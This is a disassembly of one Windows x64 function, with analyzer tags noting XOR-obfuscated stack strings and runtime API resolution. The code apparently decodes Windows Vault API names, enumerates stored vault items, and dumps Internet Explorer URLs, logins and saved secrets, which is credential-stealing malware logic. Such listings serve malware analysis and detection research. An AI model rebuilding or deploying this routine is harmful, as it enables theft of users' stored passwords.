Function at 0x14000d2e4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
mov rdi, rcx
lea rcx, [rbp + 0x6f]
call fcn.14000cdcc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x14000d6a6
movdqa xmm0, xmmword [0x14001c310]
mov esi, SafeArrayGetElement
mov r13b, 0x12
mov dword [rbp - 0x19], 0x61667e67
mov ecx, esi
mov byte [rbp - 0x15], r13b
movdqu xmmword [rbp - 0x29], xmm0
call fcn.140002534
lea r8, [rbp - 0x29]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d352
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0xf
mov dword [rbp - 0x29], 0x7e677344
mov ecx, esi
mov dword [rbp - 0x25], 0x77625d66
mov r14, rax
mov dword [rbp - 0x21], 0x6773447c
mov word [rbp - 0x1d], 0x667e
mov byte [rbp - 0x1b], r13b
call fcn.140002534
lea r8, [rbp - 0x29]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d3a8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [str.DsgfWg]
mov esi, SafeArrayGetElement
mov ecx, esi
mov qword [rbp + 0xf], rax
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0x12617f77
call fcn.140002534
lea r8, [rbp - 0x29]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d3f4
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0xd
mov dword [rbp - 0x39], 0x7e677344
mov ecx, esi
mov qword [rbp - 0x29], rax
mov r15, rax
mov dword [rbp - 0x35], 0x66775566
mov dword [rbp - 0x31], 0x7f77665b
mov byte [rbp - 0x2d], r13b
call fcn.140002534
lea r8, [rbp - 0x39]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d448
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0xa
mov dword [rbp - 0x39], 0x7e677344
mov ecx, esi
mov qword [rbp + 0x17], rax
mov dword [rbp - 0x35], 0x77605466
mov word [rbp - 0x31], 0x1277
call fcn.140002534
lea r8, [rbp - 0x39]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d494
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [str.DsgfQawDsgf]
mov esi, 0x10
mov ecx, esi
mov r12, rax
movdqu xmmword [rbp - 0x39], xmm0
call fcn.140002534
lea r8, [rbp - 0x39]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r13b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000d4d8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp + 7]
xor ecx, ecx
lea rdx, [rbp + 0x7f]
mov qword [rbp - 0x39], rax
mov r13, rax
call r14
test eax, eax
jne 0x14000d6a6
lea rdx, str._IE_:_
mov rcx, rdi
call fcn.140001930
cmp dword [rbp + 0x7f], esi
jbe 0x14000d67a
mov ecx, esi
lea r8, [rbp - 9]
shl rcx, 4
xor edx, edx
add rcx, qword [rbp + 7]
call qword [rbp + 0xf]
test eax, eax
jne 0x14000d66f
mov rcx, qword [rbp - 9]
lea r9, [rbp - 1]
lea r8, [rbp + 0x77]
mov edx, 0x200
call r15
test eax, eax
jne 0x14000d668
mov r15, qword [rbp - 1]
xor r14d, r14d
cmp dword [rbp + 0x77], r14d
jbe 0x14000d65e
mov r13, qword [rbp + 0x17]
lea rdx, str._url_:_
mov rcx, rdi
call fcn.140001930
lea rbx, [r14 + r14*4]
mov rcx, rdi
shl rbx, 4
add rbx, r15
mov rdx, qword [rbx + 0x18]
mov rdx, qword [rdx + 0x10]
call fcn.140001984
lea rdx, str.___login_:_
mov rcx, rdi
call fcn.140001930
mov rdx, qword [rbx + 0x20]
mov rcx, rdi
mov rdx, qword [rdx + 0x10]
call fcn.140001984
and qword [rbp - 0x11], 0
lea rax, [rbp - 0x11]
mov r9, qword [rbx + 0x20]
mov rdx, rbx
mov r8, qword [rbx + 0x18]
mov rcx, qword [rbp - 9]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov rax, qword [rbx + 0x30]
and qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call r13
test eax, eax
jne 0x14000d63a
mov rcx, qword [rbp - 0x11]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14000d637
cmp qword [rax + 0x10], 0
je 0x14000d637
lea rcx, [rbp + 0x6f]
call fcn.14000cd4c
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov rax, qword [rbp - 0x11]
mov rcx, rdi
mov rdx, qword [rax + 0x28]
mov rdx, qword [rdx + 0x10]
call fcn.140001984
mov rcx, qword [rbp - 0x11]
call r12
lea rdx, [0x14001c0a8]
mov rcx, rdi
call fcn.140001930
inc r14d
cmp r14d, dword [rbp + 0x77]
jb 0x14000d576
mov r15, qword [rbp - 1]
mov r13, qword [rbp - 0x39]
mov rcx, r15
call r12
mov r15, qword [rbp - 0x29]
lea rcx, [rbp - 9]
call r13
inc esi
cmp esi, dword [rbp + 0x7f]
jb 0x14000d52a
mov edx, 0x2c
mov rcx, rdi
call fcn.140001a5c
lea rdx, [0x14001be7c]
mov rcx, rdi
call fcn.140001930
mov rcx, qword [rbp + 7]
test rcx, rcx
je 0x14000d6a2
call r12
xor eax, eax
jmp 0x14000d6ab
mov eax, 1
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret